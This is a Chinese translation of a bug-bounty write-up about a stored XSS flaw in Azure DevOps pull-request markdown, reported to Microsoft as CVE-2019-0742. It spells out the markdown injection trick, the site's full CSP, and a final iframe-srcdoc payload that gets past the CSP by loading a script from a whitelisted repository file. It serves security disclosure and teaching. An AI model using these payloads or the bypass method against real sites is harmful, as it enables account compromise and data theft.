![d96b221419e138d4d8c6ce6e6c7eea50.png](https://img-blog.csdnimg.cn/img_convert/d96b221419e138d4d8c6ce6e6c7eea50.png)
最近,微软启动了一个针对Azure DevOps的漏洞悬赏计划。在一个新的应用上找漏洞总是如此的吸引人。让我们开始吧!
我们的目标是https://dev.azure.com
,这是一个由Microsoft开发的Git的web服务器。我在其中的markdown编辑器中发现了一个XSS漏洞。
当你创建一个Git的pull请求时,可以使用markdown添加一些注释。而由于网站markdown的渲染未能转义某些字符,最后导致出现XSS漏洞。
我用大量XSS的payload不停在markdown输入框进行复制粘贴来测试,发现浏览器会把我重定向到一个奇怪的URL。我试图找出最短的payload,经过多次尝试,我发现如果我把HTML代码放在2个$
和一个%
之间,那么这个HTML代码就会神奇地出现在回应页面中,例如:
$%<img src=1>$
![c002f22ee02cad1b1feac433c5e4ab48.png](https://img-blog.csdnimg.cn/img_convert/c002f22ee02cad1b1feac433c5e4ab48.png)
我尝试使用img标签的on error来触发XSS,但什么都没有发生。我在Chrome的控制台中看到了以下错误。
1?_a=overview:1 Refused to execute inline event handler because it violates the following Content Security Policy directive: "sc ript-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-JNv3ZUluxXSBwNijHMtlKg=='". Note that 'unsafe-inline' is ignored if either a hash or nonce value is present in the source list.
![c2c5cd108bcf2f543d517c474b4454be.png](https://img-blog.csdnimg.cn/img_convert/c2c5cd108bcf2f543d517c474b4454be.png)
原来被CSP拦截了。貌似是因为unsafe-inline
的原因。
而当我使用最原始的alert函数时,CSP表示这是一个unsafe-eval
。
![0626c7434be13dd3145c0ed36471ddd4.png](https://img-blog.csdnimg.cn/img_convert/0626c7434be13dd3145c0ed36471ddd4.png)
OK,由于dev.azure.com
本身在白名单中,所以我选择将插入代码的SRC指向一个包含payload的repo文件。
![b1c5fe97aac304ceea4fe832b01596af.png](https://img-blog.csdnimg.cn/img_convert/b1c5fe97aac304ceea4fe832b01596af.png)
![ec922caa6bcde1bc72aa0fde2079d562.png](https://img-blog.csdnimg.cn/img_convert/ec922caa6bcde1bc72aa0fde2079d562.png)
??貌似sc ript受前端框架影响也不行。看样子我需要找到彻底绕过CSP的方法,或者绕过这个前端框架。
首先,完整的CSP规则如下:
content-security-policy: default-src 'none'; font-src *.visualstudio.com *.dev.azure.com dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.microsoft.com *.sharepointonline.com; style-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com cdn.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn; connect-src *.visualstudio.com wss://*.visualstudio.com *.dev.azure.com dev.azure.com wss://*.dev.azure.com wss://dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.blob.core.windows.net; img-src http: https: blob: data:; sc ript-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-BByveBAMp0eRn6Ll29C7Lw=='; child-src * blob: tfs:; fr ame-src * blob: tfs:; media-src http: https:;
其中frame-src * blob: tfs:;
引起了我的注意。难道if rame可以?
![aea6bb73a42fc15ccf7de700eb251bfc.png](https://img-blog.csdnimg.cn/img_convert/aea6bb73a42fc15ccf7de700eb251bfc.png)
最后的payload
$
<iframe srcdoc="<sc ript src='https://dev.azure.com/md5_salt/deadbeef-1337-1337-1337-1337/_apis/git/repositories/deadbeef-1337-1337-1337-1337/Items?path=%2F1.js&versionDesc riptor%5BversionOptions%5D=0&versionDesc riptor%5BversionType%5D=0&versionDesc riptor%5Bversion%5D=master&download=true&resolveLfs=true&%24format=octetStream&api-version=5.0-preview.1'></sc ript>"></if rame>
$
微软在接到我的报告后,立马处理这个漏洞,并标记为CVE-2019-0742。
感谢你的阅读!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:微软旗下协同平台Azure DevOps的存储型XSS漏洞(绕过CSP)
原文:https://5alt.me/2019/02/xss-in-azure-devops/
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。